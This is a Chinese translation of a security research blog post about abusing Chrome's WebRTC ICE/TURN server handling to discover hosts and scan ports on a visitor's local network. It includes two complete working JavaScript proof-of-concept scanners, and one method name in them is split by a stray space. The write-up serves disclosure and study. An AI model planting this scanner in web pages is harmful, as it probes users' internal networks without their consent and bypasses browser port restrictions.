在Chrome中使用WebRTC ICE服务进行端口扫描
WebRTC,名称源自网页即时通信(英语:Web Real-Time Communication)的缩写,是一个支持网页浏览器进行实时语音对话或视频对话的API。它于2011年6月1日开源并在Google、Mozilla、Opera支持下被纳入万维网联盟的W3C推荐标准。——百度百科
使用浏览器扫描局域网并不是一种新想法,目前已有许多利用XHR请求、websockets或存粹的HTML代码来发现和识别局域网设备的例子。但在这篇博客中,我将介绍一种使用WebRTC ICE服务进行扫描的技术。该技术扫描速度较快,并且与其他方法不同的是,它可以绕过blocked ports list。但不幸的是,它只能在Chrome上才能生效。
你可以跳过我的解释,直接进入代码或演示页面。如果想详细了解,先让我们从PoC视频开始,主要是扫描我的192.168.88.0/24网络。
视频地址:https://youtu.be/M6lBVhkzUmM
什么是ICE Server?
如前所述,扫描技术使用WebRTC ICE服务。ICE服务是WebRTC RTCPeerConnection用于自我发现、NAT遍历和中继的STUN或TURN服务,通过将服务器列表传递到RTCPeerConnection的构造器来实现。下面是一个和谷歌公共STUN服务器有关的构造器之一:
var rtc = new RTCPeerConnection({
iceServers:[{“urls”:”stun:stun.l.google.com:19302”}]
});
当上述RTCPeerConnection进入ICE收集状态时,它将尝试连接到所提供的服务器。
协议
ICE服务可以绑定到UDP或TCP端口。但是,除非特别设定,Chrome似乎只尝试通过UDP进行通信。下面是一个Wireshark截图,显示了Chrome发送数据到一个不存在的TURN服务器,一切都基于UDP。
如果你知道一些关于ICE服务器的URL,可以强迫Chrome通过TCP进行连接。传递给RTCPeerConnection构造器的URL必须符合RFC 7064(STUN)或RFC 7065(TURN)。TURN URI的方案如下:
对于扫描来说最重要的是“?transport=”字段。它可以通过“?transport=TCP”强制ICE使用TCP。
现在,我们有了一种方法来向我们选择的任何IP和端口发出TCP连接。但是,由于我们要扫描的所有主机几乎都和TURN服务无关,那么如何确定主机是否处于活动状态呢?
确定目标是否存活
为了找到192.168.[0-255].1范围内的活动地址,下面的JSFiddle会生成256个TURN URI。
var brute_array = [];
for (i = 0; i < 256; i++) {
brute_address = "turn:192.168." + i + ".1:445?transport=tcp";
brute_array.push({
urls: brute_address,
credential: "lobster",
username: "albino"
});
}
var rtc_brute = new RTCPeerConnection({
iceServers: brute_array,
iceCandidatePoolSize: 0
});
rtc_brute.createDataChannel('', {
reliable: false
});
rtc_brute.onicecandidateerror = function(e) {
if (e.url == null) {
return;
}
url_split = e.url.split(":");
host_div = document.createElement('div');
host_div.id = url_split[1];
host_div.innerHTML = url_split[1];
document.getElementById('hosts').appendChild(host_div);
}
// trigger the gathering of ICE candidates
rtc_brute.createOffer(function(offerDesc) {
rtc_brute.setLocalDesc ription(offerDesc);
}, function(e) {
console.log("Create offer failed callback.");
});
当icecandidateerror事件生成时,这个地址就被确定为“活动的”。如果主机以某种形式拒绝连接,Chrome就会将生成错误事件。理想情况下,在Chrome发送初始信息后,会立刻有RST回复或一个快速拒绝。虽然服务可能只是保持连接打开,但错误事件将需要大约30秒来生成。
这就是为什么JSFiddle使用端口445进行扫描。我实现的SMB完成了TCP握手,然后在Chrome的非SMB通信之后关闭连接。445端口的另一个理想之处在于它和Windows关系紧密。
如果Chrome没有响应,则不会生成事件。这可能是因为防火墙进行了处理,也可能是不存在可用主机。
我遇到的唯一一个极端情况回复中存在一个ICMP响应。这导致Chrome生成一个icecandidateerror
,形成了一定程度的干扰。
端口扫描
JSFiddle会扫描192.168.88.1上的21、22、23、25、53、80、443、445、5900和8080端口。
var ports = [21, 22, 23, 25, 53, 80, 443, 445, 5900, 8080];
var target = "192.168.88.1";
address_div = document.createElement('div');
address_div.id = target;
address_div.innerHTML = target;
document.getElementById("hosts").appendChild(address_div);
var scan_array = [];
for (i = 0; i < ports.length; i++) {
probe_address = "turn:" + target + ":" + ports[i] + "?transport=tcp";
scan_array.push({
urls: probe_address,
credential: "lobster",
username: "albino"
});
port_div = document.createElement('div');
port_div.id = ports[i]
port_div.innerHTML = " -> Port " + ports[i] + " - ?"
document.getElementById(target).appendChild(port_div);
}
var port_scan = new RTCPeerConnection({
iceServers: scan_array,
iceCandidatePoolSize: 0
});
port_scan.createDataChannel('', {
reliable: false
});
port_scan.onicecandidateerror = function(e) {
if (e.url == null) {
return;
}
url_split = e.url.split(":");
port_split = url_split[2].split("?");
if (e.hostCandidate != "0.0.0.x:0") {
document.getElementById(port_split[0]).innerHTML = " -> Port " + port_split[0] + " - <b><i>Open</i><b>"
} else {
document.getElementById(port_split[0]).innerHTML = " -> Port " + port_split[0] + " - Closed"
}
}
setTimeout(function() {
if (port_scan.iceGatheringState === "gathering") {
port_scan.close();
}
}, 60000);
port_scan.onicegatheringstatechange = function(e) {
if (port_scan.iceGatheringState == "complete") {
port_scan.close();
}
}
port_scan.createOffer(function(offerDesc) {
port_scan.setLocalDesc ription(offerDesc);
},
function(e) {
console.log("Create offer failed callback.");
});
以下本地网络扫描结果:
基于Chrome生成的icecandidateerror
事件,脚本能够将端口分类为“打开”或“关闭”。每个icecandidateerror
都有一个hostCandidate变量。任何完成TCP三次握手的ICE服务器都将在hostCandidate
中列出本地IP和端口(例如192.168.88.x:51688)。无法访问的ICE服务器以“0.0.0.x:0”的形式生成hostCandidates
。因此,判断一个端口是否打开很简单。
只适用于Chrome?
目前我无法在任何其他浏览器中重现扫描,其他浏览器似乎没有实现onicecandidateerror
。这个特性在Chrome中存在的时间也不长,因为MDN显示“不支持”:
其他浏览器似乎对RTCPeerConnection的使用也不太灵活。虽然Chrome很乐意接受255个不同的ICE服务器,但Firefox就不行。
关于PoC代码
Chrome最近已修复因WebRTC而泄露的本地地址这一问题。当“Experimental”功能的“Anonymize local IPs exposed by WebRTC”标志被启用时,Chrome将尝试使用mDNS.local
主机名,而不是本地IP。
我觉得这真是一个很好的安全加固,肯定能阻止不少潜在的攻击者。
不过我在PoC也考虑到了IP无法获取这一点,此时它将尝试搜索192.168.[0–255].1上的某个活动IP。
这是一个弱点吗?
起初,我觉得这是一个弱点。攻击者(有争议地)绕过Chrome的受限端口列表,能够搜索受害者的局域网。但谷歌似乎认为这是一个“隐私”问题,而不是安全漏洞。
不过,现在有各种各样的插件可以禁用WebRTC,你也可以选择其他浏览器。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/tenable-techblog/using-webrtc-ice-servers-for-port-scanning-in-chrome-ce17b19dd474
最新评论